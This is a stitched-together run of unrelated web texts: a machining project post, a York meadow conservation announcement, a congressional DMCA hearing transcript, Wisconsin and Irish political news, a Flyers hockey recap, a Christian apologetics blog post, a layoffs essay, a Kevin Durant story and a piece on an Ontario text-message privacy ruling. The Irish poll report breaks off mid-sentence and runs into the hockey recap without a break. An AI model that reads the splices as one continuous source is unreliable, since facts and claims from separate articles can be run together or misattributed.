After squaring up a couple of 1″x1.5″x3″ aluminum blocks, I indexed the part and center drilled, then drilled a 31/64″ hole (with my new Llambrich high precision chuck!). Reamed it to.500″ (had to use the ER32 collet chuck because I don’t have enough z-axis to fit the reamer in the drill chuck and still clear the part). In case indexing the part with the left side of the stationary jaw wasn’t accurate enough, this would allow me to use a gage pin in my collet chuck to precisely align the part once the first bearing hole had been bored to size (22mm, 0.866″, to a depth of 0.273″), and the part flipped over. In the end that wasn’t necessary, but it’s always good to think ahead and eliminate possible disasters.
Center drilled then drilled two 1/4″ clearance holes for the M6 mounting bolts, then milled away some excess material with a 3/4″ 2-flute HSS-Co8 endmill. (Many of my endmills are cobalt, but none are carbide.)
The final shots show the original and the new retainer/carrier installed on the machine, one on the Y axis, the other on the X axis. Each carrier contains two 608ZZ ball bearings (8mmx22mmx7mm), one on the front side and one on the back side. Labels have subsequently been printed for the pointer and distance per division.The ancient flood meadows of Clifton Ings and Rawcliffe Meadows to the north of the City of York have been confirmed as a site of special scientific interest (SSSI) this week, following a four month consultation period.
The site supports rare species-rich grassland, is the last stronghold of the critically endangered tansy beetle (Chrysolina graminis) in the British Isles.
Floodplain meadows are one of the most diverse habitats in the UK. They are rich in flowers and grasses such as great burnet, meadowsweet, common bistort, meadow rue and meadow foxtail and are home to a great many insect species including butterflies, dragonflies, damselflies, spiders and moths.
The site at Clifton Ings and Rawcliffe Meadows is home to the critically endangered tansy beetle – an iridescent green beetle which relies almost entirely on the tansy plant Tanacetum vulgare for its entire life cycle in England. Noted at Clifton Ings since Victorian times, it is thought that a stretch of the River Ouse (which runs adjacent to the site) near York supports the last known population of this species in the British Isles.
Lowland grasslands are vulnerable to agricultural improvement and it is estimated that there has been a 97% decline in semi-natural grassland in England and Wales in the 50 years to 1984, with losses continuing during the 1980s and 1990s. Clifton Ings and Rawcliffe Meadows is an unusually large area of intact floodplain grassland that has avoided fragmentation or agricultural improvement. The continuation of traditional management over several hundred years, involving the harvesting of hay followed by the grazing of the aftermath growth, has maintained the biodiversity value of the site which now receives statutory protection.
The Ings also play a vital role in flood management and are used as temporary flood storage area at times of high flow in the River Ouse. With a capacity of 3.3 million cubic metres, Clifton Ings and Rawcliffe Meadows are critically important in preventing flooding in York and Rawcliffe.
David Shaw, area manager for Yorkshire and North Lincolnshire at Natural England said: "It is fantastic to confirm Clifton Ings and Rawcliffe Meadows as a SSSI as it protects a large area of rare habitats and species so close to the thriving city of York. We look forward to working with the Environment Agency and other interested parties to ensure this vital floodplain is managed appropriately to ensure its biodiversity is maintained and enhanced whilst utilising the site as a flood storage area when needed for flood prevention."
Steven Kirman, communications officer at the Environment Agency, said: "This is great news for the tansy beetle as well as many other important species of plants, birds, animals and insects. SSSI designations are a hugely successful way of helping to conserve natural habitats, and as well as helping wildlife they are of huge benefit to people in many ways. The maintenance of Clifton Ings and Rawcliffe Meadows is especially important to us because of the role the site plays in flood alleviation in the city of York."Congress Tells Google: Clean Up Your Search Results, Or We Will…
United States House Committee on the Judiciary.
Subcommittee on Courts, Intellectual Property and the Internet Hearing.
Hearing on Section 512 of Title 17, ie, the DMCA.
March, 2014. Washington, DC.
Rep. Tom Marino (R) Pennsylvania: Thank you Chairman, and thank you to the panel members for being here. I hear dozens and dozens of war stories from creators who have come to personally see me, and they’ve shared their nightmares with me, almost exactly the way [Grammy-winning songwriter] Ms. Schneider has genuinely and eloquently stated what she has been going through.
Ms. Oyama, you and I had the opportunity a couple of weeks ago to talk about many issues, this being one of them. And, it was very enlightening, you showed me a lot of what was being done. I guess I’m looking at this from a proactive approach. We talked about the ‘red light green light system’ a little bit, by which a provider would denote in a search, in results, those sites that may have been tagged as likely to contain infringing content, with a yellow or red light and some explanation.
Would you be willing to create with the providers that you can work with, or you at Google, create a method to implement this type of system, and further would you be willing to move these authorized legitimate results to the top of the page?
Katherine Oyama, Senior Copyright Policy Counsel, Google Inc.: I think we always want to have authorized legitimate results appear, we’ve done a lot of great work especially using the signal and other things, working with rights holders to make sure that for the vast majority of queries related to media and entertainment content, the ones I discussed earlier related to films, that the legitimate results are surfacing. I think the ‘red light green light’ concept that we talked about was in the context of kind of flagging for users that sites might be good or might be bad. I think we have to remember that the DMCA applies to all service providers, there may be 66, ya know, thousand or more —
Rep. Marino: — I understand that that, but I’m looking for a solution here.
I’m really not one that wants the federal government to get involved in what it’s involved in now, I’m a state’s rights guy. And I want to see less federal government in my life. But we need to ramp this up a little bit, and I’m looking towards the industry.
I’m having some faith, for the time being, in the industry and providers to come up with methods — and I mean, Google, you’re a smart operation over there, I’m very impressed, but I’m looking to you to create a system whereby people like Ms. Schneider are not damaged as they are.
For example, when someone types in a movie, ‘free,’ can you not do something? I can’t believe you cannot, I think we can. If we can put a man on the moon and transplant a heart, we certainly can say when someone shows up ‘free,’ do something about that.
Help me out, give me some suggestions, please.
Oyama: Yes, okay, so I think we cannot strike the word ‘free’ from search [laughing], because there’s a lot of legitimate great free music and movies and, that’s good for everybody, that’s good for consumers. Some artists, the first thing they want is they want people to know who they are, they want to get their name recognition out. And from there, they use this popularity: songs go viral, they go number one on iTunes, they travel the world. These are good things to have the internet available, to have distribution of music.
I think the key, the key place here that I think we can all continue to work together, is how do we surface legitimate content? So if we want to fight piracy, we need to increase the availability of legitimate offerings —
Rep. Marino: — Yeah, but let — let me stop you there a moment, there’s got to be a process by which when certain things come up free, and I don’t want to have to pay for it. That that can be flagged, and…
Oyama: Yes, yes… One of the places we’ve had some good conversations with folks about is if you want legitimate pages to surface for a query for ‘free,’ the pages should have the word ‘free’. So you could say, ‘free music sample,’ you know, anything with that word ‘free’ that will help it surface. We’re also trying to use additional space in search —
Rep. Marino: — Alight, let me jump to another question —
… later in the hearing.
Rep. Cedric Richmond (D) Louisiana: Thank you Mr. Chairman. Let me just start with you Ms. Oyama. And, you mention the Auto Complete. And, I guess my question is, can [Google] manipulate or manage the Auto Complete because if someone is just going to Google for 12 Years a Slave… [pause]. Once you get to ’12 Years’ and it says ‘free’ or ‘watch for free,’ then you are pushing them to that space even if they didn’t want to go there.
And I’m thinking of my mother, who’s probably not the most internet sophisticated person. So if she goes to Google for 12 Years a Slave, and it automatically says ‘free’, you’re kind of enticing her to go that way.
So can you manipulate Auto Complete at all?
Oyama: I just want to be clear on the interaction between Auto Complete and search results. You can go in and see what users are actually typing in. And you can see that it’s the movies or an artist, and you can go into Google and type those queries in. They are clean results. And on any links that are a problem, we can take them out. There are more than 23 million —
Rep. Richmond: No no, I understand the results. But I’m strictly speaking on Auto Complete.
Oyama: The policy we have, it’s been an ongoing conversation with rights holders. So our policy is we’ll accept terms, if rights holders are concerned these terms are closely associated with piracy. We’ve accepted them, we’ve actually accepted almost every term, almost all the terms we’ve received. But a word like ‘free’ you cannot strike, a word like just ‘music,’ things like that are associated with a lot of legitimate content offerings.
But if [the terms] pass that threshold, there’s been a good amount of coverage, there are definitely terms and words, services that can be removed. And it’s not a finished conversation, so if there are more words that are concerning for folks, there should be an ongoing conversation, there are always new services and bad actors, and we want to keep that updated in real time.
Rep. Richmond: Well then, let me ask your opinion on something. I represent New Orleans, which is a hotbed of creativity, whether it’s independent filmmakers, whether it’s musicians, and, whether it’s small authors who self-publish. What advice would you give them in terms of protecting their copyright considering they’re probably not a big corporation and they’re just someone who loves music and would like to earn a living singing whatever they’re singing about.
I would just ask that you use your legal mind and pretend that the artist is your client, and how you would advise them to protect their copyright. And insure that others are not making money off of that, especially when you look at the investment that people put out and life savings. We don’t want people to just come and take their material.
So let me just say, and, especially with my time in the state legislature that, you know [pause].
Sometimes we’re forced to act, and I acknowledge that we’re probably not the best people to act on this, because technology changes so fast. But if we’re forced to act, I don’t think anyone is going to like what we do because it wouldn’t be a comprehensive solution.
So I’d suggest that the stakeholders get together and figure it out.Wisconsin State Senator Pam Galloway, one of the three Republicans facing recall elections later this year, said Friday that she would be resigning soon due to a series of sudden health problems in her family, according to The Milwaukee Journal Sentinel.
“After a great deal of thought and consideration, I’ve decided to put the needs of my family first,” she said in prepared remarks. “My family has experienced multiple, sudden and serious health issues, which require my full attention. Unfortunately, this situation is not compatible with fulfilling my obligations as state Senator or running for re-election at this time.”
Her resignation, which has not yet taken effect, will leave the state Senate evenly split between Democrats and Republicans.
Just one year ago, Senate Republicans had a 19-14 majority, allowing them to pass virtually anything in the face of unified Democratic opposition. After a series of recall elections, Democrats narrowed that minority to 17-16.
Following Galloway’s announcement, the partisan divide of Wisconsin’s senate will shift to an even 16-16 tie, effectively putting the chamber into gridlock until the recall elections later this year, during which voters will effectively decide which party controls the state’s government.
A judge recently set June 5 as the recall date for Gov. Scott Walker (R), contingent upon a Democratic primary taking place May 8.
Photo of Wisconsin state capitol building by Flickr user pinchof. Composite by Stephen C. Webster.The Labour Party will struggle to regain popularity until the economy shows signs of recovery, said Minister for Public Expenditure Brendan Howlin after a poll showed support for the party has fallen to its lowest level in more than a quarter of a century.
The latest Irish Times/Ipsos MRBI opinion poll shows the backing of voters for the junior Coalition party has fallen to 6 per cent, a three-point decrease since the last Irish Times opinion poll in June.
The poll represents the lowest percentage of support for Labour since November 1987, some 26 years ago, when the party had recently come out of a five-year coalition with Fine Gael.
The party’s share of the vote has ebbed by some 13 points since achieving a record 19 per cent of the popular vote in the general election of February 2011 and is now well below its historic average of 10 per cent.
Mr Howlin this morning said “it’s not a good poll” for the party. “There’s no point in saying anything else.”
Speaking to reporters in Dublin, he said he didn’t expect support to increase until the economy showed tangible signs of recovery. “Until we see that recovery putting money back into people’s pockets…I don’t think we’ll see a significant rise for us.”
The survey taken on Friday and Saturday discloses that Fine Gael, with 26 per cent, has re-established its position as the most supported party. Sinn Féin, with 23 per cent, has edged out Fianna Fáil for the second-largest share of support for the first time since May 2012.
In contrast, Fianna Fáil has dropped four points since the last poll in June to 22 per cent.
Independents
Support for Independents and others has also reached a historic high, with over one in five respondents backing this cohort, with a particularly strong bias in Dublin, where over 30 per cent of voters said they would vote for Independents or others.
In the capital, where Labour won 29.3 per cent of the vote in the general election, winning 18 seats, support levels have fallen back to 9 per cent.
When people were asked who they would vote for if an election were held tomorrow, party support – when undecided voters are excluded – compared with the last Irish Times poll was: Fine Gael, 26 per cent (up two points); Labour, 6 per cent (down three points); Fianna Fáil, 22 per cent (down four points); Sinn Féin, 23 per cent (up two points); Green Party, 2 per cent (no change); and Independents/Others, 21 per cent (up three points).
The survey was undertaken among a representative sample of 1,000 voters aged 18 and over, in face-to-face interviews at 100 sampling points in all constituencies.
Dissatisfaction
Satisfaction levels for Tánaiste Eamon Gilmore continue the downward trend of the past two years. Some 15 per cent of respondents said they are satisfied with the Labour Party leader, while 65 per cent expressed dissatisfaction. This puts Mr Gilmore well behind the other main party leaders. Taoiseach Enda Kenny is the most popular leader, with a 31 per cent satisfaction rating. The figure for Sinn Féin leader Gerry Adams is 29 per cent, and it is 27 per cent for Fianna Fáil leader Micheál Martin.
In contrast to the other main parties, where a clear majority of supporters express satisfaction with the leader, slightly more (44 per cent) of Labour supporters express dissatisfaction with Mr Gilmore than those who express satisfaction (40 per cent).
Another significant change since the June poll has been the number of respondents who were undecided or had no opinion had fallen by seven percentage points.
Core vote
The core vote for the parties compared with the last poll was: Fine Gael, 19 per cent (up three points); Labour, 5 per cent (down one point); Fianna Fáil, 16 per cent (down two points); Sinn Féin, 17 per cent (up three points); Green Party, 1 per cent (no change); Independents/others, 16 per cent up four points) and undecided voters, 26 per cent (down seven points).
Overall satisfaction with the Government is at |
of them for once.
Large stretches of dominance looked to be for naught after about 59 minutes of this one, but a lucky bounce off Travis Konecny’s stick tied this one up in the final minutes, and Brayden Schenn collected the rebound on a drive to the net by Sean Couturier in overtime to give the Flyers a 4-3 win.
For the first half of this game, the Flyers were absolutely in control. Despite having a number of stretches, particularly in the first period, where the team was a bit disjointed passing the puck around the offensive zone, the Flyers completely stifled Carolina offensively and regularly held the puck for extended periods of time. And after a first period that had mostly played out like so many Flyers first periods before it — extended territorial dominance that wasn’t rewarded on the scoreboard — Ivan Provorov rung up his first even-strength point in five weeks with a snipe of a shot over Cam Ward’s right shoulder to open up the scoring.
IVAN GOALVOROV pic.twitter.com/W49D1R0pxY — Broad Street Hockey (@BroadStHockey) March 20, 2017
The Flyers’ strong performance from late in the first period carried over to the second period, in which Carolina didn’t register a shot on goal until about six minutes into the period. And not long after that, Dale Weise — for the second time in three games! — was there to cash in on the end result of a fantastic Travis Konecny shift.
They don't call him the Dutch Gretzky for nothing! pic.twitter.com/XyI6xOnTVP — Broad Street Hockey (@BroadStHockey) March 20, 2017
Of course, things would then unravel, as they often do once good things appear to be happening to the Flyers. Carolina would even up the score before the second period was up, with one goal on a carom off the back boards that went straight to Jeff Skinner and another following a laughable defensive breakdown that gave Elias Lindholm a clean shot with which he’d beat Steve Mason.
After the Flyers would let two overlapping power plays go to waste early in the third period, everyone in the building probably knew who was scoring the next goal, and it wasn’t the team in orange. Surely enough, a slashing penalty on Sean Couturier gave Carolina their second power play of the game, and after stumbling their way through most of it, they would eventually break the tie on a goal from the other other Staal brother.
So, yes. Outplay the opponent for most of the game, take a couple of untimely penalties, have some bad breakdowns, goalie can’t bail them out, and all of a sudden the Flyers are trailing in the third period of a game they probably should be winning. It’s a script we’ve all seen unfold a few times before (ironically, it’s one that the Flyers’ opponent tonight, the Hurricanes, have also been on the bad end of a few times), and it was pretty reasonable to expect a loss as the game wound down.
Which made what happened next all the more surprising! Following a somewhat questionable delay of game penalty on Sebastian Aho, the Flyers went to the power play for the third time in the game. And just seconds after the penalty had ended — by which point the Flyers had an extra attacker on the ice — Konecny would end up on the good end of a lucky bounce, as his blind centering attempt from behind the net would bounce off of two Hurricanes and into the net.
Travis Konecny is love
Travis Konecny is life pic.twitter.com/fYyXlqg86t — Broad Street Hockey (@BroadStHockey) March 20, 2017
The teams would make it into overtime, at which point Sean Couturier — who’s had himself quite a run in the past couple of weeks — bulldozed his way around Teuvo Teravainen and into Cam Ward’s grill, and Schenn was there to pick up the garbage and end the game.
Schenn scored the OT winner, but that play was all Couturier pic.twitter.com/IpVse1c84l — Broad Street Hockey (@BroadStHockey) March 20, 2017
Wins and losses, at this point in the season, mean as much or as little as you want them to. But at the very least, it’s encouraging to see contributions coming from players that are almost certainly going to be around for a while, the way we did tonight from Provorov, Konecny, and even Couturier.
Off to Winnipeg on Tuesday. Go Flyers.Apparently Luke Muehlhauser was subjected to this "test" by some atheist when he was in his own crisis of faith. That crisis of faith resulted in his deconverting, and now he is using the same technique on others, since he thought it indicated so devastating a criticism of his own Christianity.
One motif I found that surprised me (though it shouldn't have surprised me) was this idea: To test your religious faith, you ought to try to describe it in derogatory terms and admit that this is an accurate description. See if your Christianity can "handle" making this admission.
Here are a couple of versions of what we are allegedly supposed to admit is what we believe as Christians.
An atheist on the internet pointed out that I literally believed I had a magical invisible friend who could grant me wishes.
So what I ask of you is this: Try to rattle your own faith. Shake it up. Cause as much doubt as you can. Read what the best of the opposition has to say, and take it seriously. Describe your own faith in the most contentious terms possible (e.g., “an invisible friend who grants me wishes”) and recognize that this is, though not how you would put it, still literally true about what you believe.
Elsewhere he says this in a post on the necessity of being a good debater to engage William Lane Craig. (The post as a whole is making the point that most atheists are not actually qualified to debate Craig, either because they lack information or because they lack debating skill.)
Remember, Craig is defending the theory that an ancient Semitic sky god created the universe with his magical powers, let it evolve in violence and meaninglessness for billions of years, then intervened quite recently by sending a man-god to earth, who rose from the dead into a new body with superpowers and now talks to you and grants you wishes as your invisible friend. That is literally what he has to defend, so one would think that even without equal debating skills an atheist would stand a chance to defeat that theory.
It might fairly be asked why I would write a post on the silly things some dismissive Internet atheist says about Christianity. I might answer in strict truthfulness that I'm writing about this because it's what I happen to have on my mind right now, and I needed blog post material.
But I can do a little better than that: I think this business about "recognizing" that this is "literally what you believe" might very well be effective on some Christians who think that they are being hard-headed and investigating their faith, so I think it's just as well to hit it good and hard. (This is related to my previous posts about what evidentialism isn't. Among other things, evidentialism is not the position that, to test your faith, you need to go to Internet atheist sites and agree to their characterizations of Christianity!)
At the risk of being snarky, I have to say that "Jesus is a magical, invisible friend who grants you wishes" is true except for "magical," "invisible," "friend," and "grants you wishes." In other words, it's completely wrong.
The correction that Jesus is incarnate and hence not invisible is relatively trivial, and I won't dwell on it. There are after all Scripture verses in which Jesus says, "Lo, I am with you always" or "Wherever two or three are gathered, there am I in the midst of them." We can debate whether Jesus meant there to refer to the work of the Holy Spirit, but let that go.
Moving on to "magical": Even though of course Jesus has the power to do miracles, miracles are not magic. The word "magical" is wrong for two reasons. First, magic is literally an art practiced by adepts by which they attempt to manipulate the world, and that's not remotely what miracles are. A miracle is (to treat a big subject briefly) God's engaging in a special act of power to bring about a result that would not occur in the natural order. No doubt atheists find real miracles at least as objectionable as magic (if there were such a thing as magic). In fact, atheists might find miracles even more objectionable than magic. But the point is that the two are different. Second, and to my mind even more to the point, the word "magical" conveys arbitrariness, capriciousness, and triviality. Even if God does choose, in His wisdom, to do a supernatural mighty work (a miraculous healing, for example), such an act does not have those qualities.
That brings us to "friend." Here I have to admit that many, many Christian songs encourage us to view Jesus as our friend and even state that Jesus is our friend. But the combination "invisible friend" is, of course, a form of ridicule. The believer is meant to think of himself as being like a little child who imagines an invisible friend to whom he talks, for whom he saves seats and swings, and who talks back to him. The believer is meant to wince and be shaken by this infantilized view of himself.
Here I think that Christians themselves need to remind each other that we are not taught by Scripture either to expect Jesus to talk to us (though many Christians do look for such experiences) or to think of Jesus in the casual way that might be understood by the word "friend." One can, of course, give a deeper meaning to the term "friend," but we are gravely mistaken if we base our faith on our ability to get what seem to us to be personal, private answers from God the Father or from Jesus Christ to our questions. While I will not claim that all such experiences are non-veridical (that would be presumptuous), I will claim that they should not be treated as the norm in Christianity and should not be the basis of Christian faith. I love many Christian songs about how Jesus walks and talks with us, but I cannot stress too strongly the danger of taking them literally and requiring such experiences for Christianity.
There are plenty of deconversion stories out there (including Muehlhauser's own) of people who believed that Jesus was their friend who literally talked to them and who lost their faith in part because they came to worry that these apparent conversations were figments of their own imagination and thus came to despise themselves as gullible fools with an imaginary friend.
Don't be that Christian.
Which, finally, brings us to "grants me wishes" or "could grant me wishes." Again, here we see the interesting combination of mechanism and capriciousness that was evident in the rhetorical impact of the word "magical." A genie grants you wishes. You call up a genie out of a bottle, and he says, "Master, what do you wish?" Then he has to do what you tell him. Or perhaps the genie says, "You have three wishes," and then you have to choose your wishes carefully. The wishes can be whatever you select, and the genie is bound to honor your requests.
God is not like this, and even the addition of the word "could" to the phrase does not help. God's interaction with our requests is that of a wise and loving Father who decides what is best for us and who often refuses our requests. Most often, as far as we can tell, God does not perform any miracle to bring about that which we request, even when what we ask comes about by Providence and secondary causes. God is simply not in the business of "granting wishes." In fact, Christians are called upon to take up their crosses and follow Jesus. I don't know about you, but taking up a cross was never one of my wishes.
Again, here the saccharine version of Christianity that one sees too much of needs to be distinguished both from traditional and from biblical Christianity. This is not to say that God could not intervene miraculously to bring about some state of affairs or that God never does (after all, the Bible is full of miracles). It is rather to say that God's actions should not be thought of as "granting wishes," as though our feelings were primary and as though God is like an indulgent or capricious grandfather (or a genie) who gives us what we want just because we want it.
The approach of telling Christians that they should "try to shake up their faith" by "recognizing" that they "literally believe" a derogatory characterization is a form of bullying, not a form of argument. It has about as much relation to actual apologetic debate and careful discussion of the truth of Christianity as a Chick tract telling how the Pope enslaved everyone to a belief in a sacred cookie (yes, this is a real thing) has to serious Protestant-Catholic dialogue. Both are forms of ridicule rather than intellectual critique. Ridicule is surprisingly powerful, however, and can be mistaken for critique. Nobody likes to look ridiculous. Realizing that this is what someone else thinks about your religious beliefs, that this is how your beliefs look to the skeptic, may cause doubt by entirely non-intellectual mechanisms.
In general, I have found that deconversions are all too likely to happen when the inquiring Christian is unwilling to "graduate" from a simplistic or childish concept of God to a more complex, difficult, and deeper concept of God. It is rather like a person's deciding that all of science is bunk when he realizes, to his annoyance and dismay, that all physical phenomena cannot be accommodated by Newtonian physics.
I do not have any single antidote for such deconversions, but it would certainly help if we would challenge our young people to move beyond a shallow concept of friendship with Jesus and in particular not to be either emotionally or intellectually dependent upon religious experience.
Tough-mindedness is indispensable for those who are going to encounter a ridiculing world.The Bad Economy is an Excuse for Layoffs, But They Should Have Happened Earlier
I’ll let you in on a secret: Most companies have used the bad economy as an excuse for laying off people who the company wanted to get rid of anyway. Now I’m not saying that these companies haven’t had financial issues — most companies have experienced a loss of revenue as a result of a decrease in consumer spending. But the truth is that businesses have made enormous productivity gains over the last ten years. Technology — and particularly information technology — has allowed most businesses to do more with less. The number of employees required to run the business and handle day-to-day operations has declined for most businesses. But even though fewer people are needed, most businesses hadn’t taken steps to reduce their labor force until the recession gave them an excuse. There are a lot of reasons that companies were holding on to unnecessary employees:
It’s nice to have extra employees around if you anticipate growth.
Many managers see the number of employees reporting to them as an ego thing. The more employees you have, the more important your job.
The more employees you have, the more important your job. It’s nice to have labor in reserve to get you through peaks in demand and temporary shortages — sick leave, maternity leave, vacation, holidays.
The annual budgeting process ensures that if you cut your budget, then you’ll have a hard time increasing it back again later. Cutting an employee is cutting your budget.
HR rules make it tough to fire an employee even if the employee isn’t doing his/her job.
Some managers are kind-hearted, and don’t want to cost people their jobs.
Put all these reasons/excuses together, and repeat this situation in department after department in company after company, and you can explain why technology productivity gains hadn’t translated into a significant savings on the bottom line. The productivity gains were there — there just wasn’t enough motivation to actually realize them.
So along comes the recession. Now all of a sudden everyone is in lifeboat mode — the ship is sinking and we have to throw all of the unnecessary stuff over the side. Executive management says “cut your budgets” and all those managers who were squirreling away spare employees suddenly have to get rid of them. The managers start with the slackers of course — now you don’t have to go through all that HR bureaucracy to get rid of a bad employee. Then gradually the managers work their way up to the adequate employees who were actually superfluous to the day-to-day process. In some cases the managers have to cut good employees who are contributing to actual productivity. But let’s face it: Productivity has risen to such a point that we can get by with a lot fewer employees that we had before. And here’s the important part of higher productivity: we don’t ever need to hire them back!
The Jobs Aren’t Coming Back
That last statement is the key to understanding the slow economic recovery right now. Most companies were operating with more employees than they actually needed. And now that they’ve become accustomed to getting along with a smaller number, it isn’t very likely that those jobs will come back. Instead, we need to look in different directions for new jobs. New jobs will come from new types of businesses, from growth of existing businesses into entirely new areas, and from an increasing number of freelance employees who will be working as supplemental employees.
So if you’ve wondered why it is that the stock market is recovering but the job market isn’t, this is why. Business profitability is up because the businesses are producing the same products and services with fewer people — they’ve gotten rid of the jobs they didn’t need. The old jobs are gone, and will never return. And the job market will only recover when totally new jobs are created to satisfy totally new needs.
Happy New Year! And welcome to the new economic reality.Kevin Durant made waves on Monday, as his misuse of Twitter led to some accidental bashing of Billy Donovan and the Thunder. Using what he presumed to be an alternate account, he explained through his official handle that he left Oklahoma City because “he didn’t like the organization or playing for Billy Donovan. His roster wasn’t that good, it was just him and Russ.”
The entire thing was really strange.
Speaking at Tuesday’s TechCrunch Disrupt event in San Francisco, Durant acknowledged his mistake and apologized to Donovan and the Thunder organization. Check out the video via Anthony Slater:
Kevin Durant calls his criticisms of Thunder, Billy Donovan “childish” and “idiotic” at Tech Crunch in SF pic.twitter.com/2Y0zwWyDKi — Anthony Slater (@anthonyVslater) September 19, 2017
Full remarks:
“I have another Instagram account, but that’s just for my friends and family. So I wouldn’t say I was using it to clap back at anyone. I use Twitter to engage with fans. I think it’s a great way to engage with basketball fans. I happened to take it a little too far. That’s what happens sometimes when I get into these basketball debates about what I really love — to play basketball. I don’t regret clapping back at anybody or talking to my fans on Twitter. I do regret using my former coach’s name and the former organization I played for. That was childish. That was idiotic — all those type of words. I apologize for that. I don’t think I’ll stop engaging with fans. I really enjoy it and it’s a good way to connect us all, but I’ll scale back a little bit right now and just focus on playing basketball. I’ll move on from that, it was tough to deal with yesterday. I was pretty mad at myself. Definitely want to move on and keep playing basketball.”
Kudos to Durant for owning his mistake in the “But I Was Hacked!” era, although I doubt it goes away entirely. Regardless — this particular route was unexpected, so I’ll take it.
Moving on.Canadian Court Says No Expectation Of Privacy In SMS Messages Residing On Someone Else's Phone
from the can't-control-every-conversation's-participants dept
A precedential decision [PDF] by Ontario's Court of Appeals concerning the privacy of SMS messages sounds more worrying than it actually is. Here's Vice Canada's opening paragraph on the ruling:
The texts you think you're sending in private can be used against you in court, according to a potentially precedent-setting new ruling from the Ontario Court of Appeal, which critics believe will have implications on privacy throughout the province.
The government's comment on the decision makes it sound even worse.
"The Crown's position... is that once a person sends a message into the ether, he or she loses the requisite level of control over that message needed to challenge its subsequent acquisition by authorities from sources outside of that person's control," Nick Devlin, senior counsel with the Public Prosecution Service of Canada, told VICE News.
But that's not what the ruling says. Text messages sent "into the ether" do not lose their expectation of privacy. That would make SMS message content open to interception or seizure without a wiretap order or warrant. The circumstances of the case undercut the claims made in these two soundbites.
In no way does this create some sort of "Third Party Doctrine" governing the content of text messages. Instead, it simply confirms what should be obvious: that once messages are received, the recipient is free to discuss, expose, or otherwise provide the content to whoever asks for it. The sender is no longer in control of the sent message and cannot claim it is still a private communication.
An investigation into the trafficking of illegal firearms resulted in the seizure of phones owned by the two suspects. Police performed forensic searches on both devices and found messages implicating both arrestees. One of the suspects challenged the search and seizure of the devices. For the most part, he won.
1. Mr. Marakah’s s. 8 Charter challenge to exclude from evidence the items seized by the police during the search of his residence on November 6, 2012 is allowed and the evidence is excluded pursuant to s. 24(2) of the Charter; 2. Mr. Marakah’s s. 8 Charter challenge to exclude evidence obtained from his phone that was seized from him by police at the time of his arrest on November 6, 2012 is also allowed and the evidence is excluded pursuant to s. 24(2) of the Charter; and 3. Mr. Marakah’s s. 8 Charter challenge to exclude the evidence of his text messages found by the police on Andrew Winchester’s phone on November 6, 2012, is dismissed.
The last item on the list -- a dismissal of an evidence challenge -- is related to the messages found on Winchester's phone, which included Marakah's end of these conversations. The court ruled there is no expectation of privacy in messages sent to another person's phone.
This is pretty much analogous to claiming an expectation of privacy in mail sent (and received, opened, read, etc.) by another party. The government can't intercept and read the mail without the proper authorization, but there's nothing stopping it from viewing the content if it's seized from the recipient. The same goes for phone calls, which are ostensibly private conversations, but both conversants are more than welcome to discuss the content of the phone calls with law enforcement without infringing on the other party's expectation of privacy.
The failure here is operational security, not a lack of protections for Canadian citizens.
The appellant cited a 2013 ruling that said sent messages are "private communications" and can't be obtained by the government without a wiretap order.
As all parties acknowledged, it is clear that text messages qualify as telecommunications under the definition in the Interpretation Act. They also acknowledged that these messages, like voice communications, are made under circumstances that attract a reasonable expectation of privacy and therefore constitute “private communication” within the meaning of s. 183. Similarly, there is no question that the computer used by Telus would qualify as “any device” under the definitions in s. 183.
The difference between the Telus decision and this one is that in Telus, law enforcement intercepted messages in transit, utilizing the telco's temporary storage of transmitted messages to obtain "continuous production" of messages sent between two numbers. It's the interception that's key, not whether or not the content can be afforded a reasonable expectation of privacy. The appeals court points out that the court in Telus did not actually reach the conclusions the appellant claims it reached.
Abella J. expressly declined to decide the issue that is before the court in this appeal: [15] We have not been asked to determine whether a general warrant is available to authorize the production of historical text messages, or to consider the operation and validity of the production order provision with respect to private communications. Rather, the focus of this appeal is on whether the general warrant power in s. 487.01 of the Code can authorize the prospective production of future text messages from a service provider’s computer. That means that we need not address whether the seizure of the text messages would constitute an interception if it were authorized after the messages were stored.
The court points out that a reasonable expectation of privacy is not automatically granted to all cases and incidents involving ostensibly private communications. Context factors into the equation -- both in determining the "reasonableness" of privacy expectations, as well as standing to challenge searches. Here, it finds the context does not help the appellant's case.
In this case, the application judge’s analysis was guided by Edwards and, on the objective reasonableness of the expectation of privacy, the factors set out by Binnie J. in Patrick. Having regard to those factors, he found that the factors that weighed most heavily in his assessment of the totality of the circumstances were that: (1) the appellant had no ownership in or control over Winchester’s phone; and (2) there was no obligation of confidentiality between the parties. [...] He had no ability to regulate access and no control over what Winchester (or anyone) did with the contents of Winchester’s phone. The appellant’s request to Winchester that he delete the messages is some indication of his awareness of this fact. Further, his choice over his method of communication created a permanent record over which Winchester exercised control.
The long dissent is worth reading as it challenges much of what the official opinion asserts -- mainly that a lack of control equals a lack of privacy expectations. Arguably, courts should treat text messages more carefully as they generate permanent records of conversations (phone calls don't) and are used far, far more often than email or snail mail (which also create permanent records of conversations).
It's much more on point, however, when noting that the seizure and search of the other party's phone -- resulting in the collection of Marakah's messages -- was also ruled to be unreasonable and a violation of Winchester's rights. The denial of Marakah's request to have this evidence excluded means it's possible for Canadian law enforcement to obtain evidence illegally but still use it in court -- just as long as it obtains the incriminating messages it needs from someone other than the sender.
[T]he text messages at issue are essential to the Crown’s case only because of this pattern of Charter infringements. The messages obtained from the appellant’s phone and evidence seized from his apartment are not admissible because the police infringed the appellant’s s. 8 rights when obtaining that evidence. The Crown abandoned reliance on the accused’s inculpatory statements and evidence obtained from them when faced with a challenge to their admissibility. And now the admissibility of the text messages obtained from Winchester’s phone is in issue because they too were obtained in a manner that infringed a Charter-protected right. Finally, while the search of Winchester’s phone, considered in isolation, may be classified as a less serious breach of the appellant’s Charter-protected interests, I would take into account the fact that the appellant suffered many serious breaches of his Charter rights. In this case the police intruded upon significant privacy interests by conducting a warrantless search of his home and conducting an unnecessary and unrestricted forensic analysis of the appellant’s phone. Refusing to exclude the text messages obtained from Winchester’s phone would, in effect, neutralize any remedy granted for those breaches.
Considering that the court has already quashed the messages obtained from Marakah's phone due to the illegality of the seach, it only makes sense to do the same to the same messages that were obtained from Winchester's phone. Without evidence suppression, law enforcement will be encouraged to route around presumed privacy expectations (and warrant requirements) by choosing an alternate, "less private" source to obtain the same communications.
